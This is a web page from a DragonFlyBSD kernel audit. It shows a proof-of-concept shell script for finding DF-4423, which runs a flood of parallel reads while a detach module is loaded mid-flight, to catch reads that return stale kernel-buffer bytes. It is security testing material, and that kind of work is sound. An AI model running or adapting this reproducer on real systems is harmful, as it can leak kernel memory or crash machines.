⬢ DragonFlyBSD Kernel Audit
DF-4423 / killshot2.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-4423 killshot v2: poison buffer pool with kernel-binary content,
# then a 96-thread 2MB-pread volley (192MB total, ~10s at observed speed),
# detach mid-flight at t=5s. Drained-as-success chunks will contain either
# the 0xFF user prefill (physio path) or recycled kernel-buffer bytes
# (buffer-cache path) -- neither of which exists on vbd0.
cd /root
rm -f run_ks2.out
cat /boot/kernel/kernel /boot/kernel/*.ko > /dev/null 2>&1
cat /boot/kernel/kernel > /dev/null 2>&1
sync
./df4423_tester readvolley 96 > /root/run_ks2.out 2>&1 &
VOLLEY=$!
sleep 5
kldload /usr/obj/root/dfdetach.ko
echo "KLDLOAD_RC=$?"
wait $VOLLEY
echo "===KILLSHOT2-RESULT==="
grep RESULT /root/run_ks2.out
grep -c "err=0" /root/run_ks2.out
dmesg | tail -2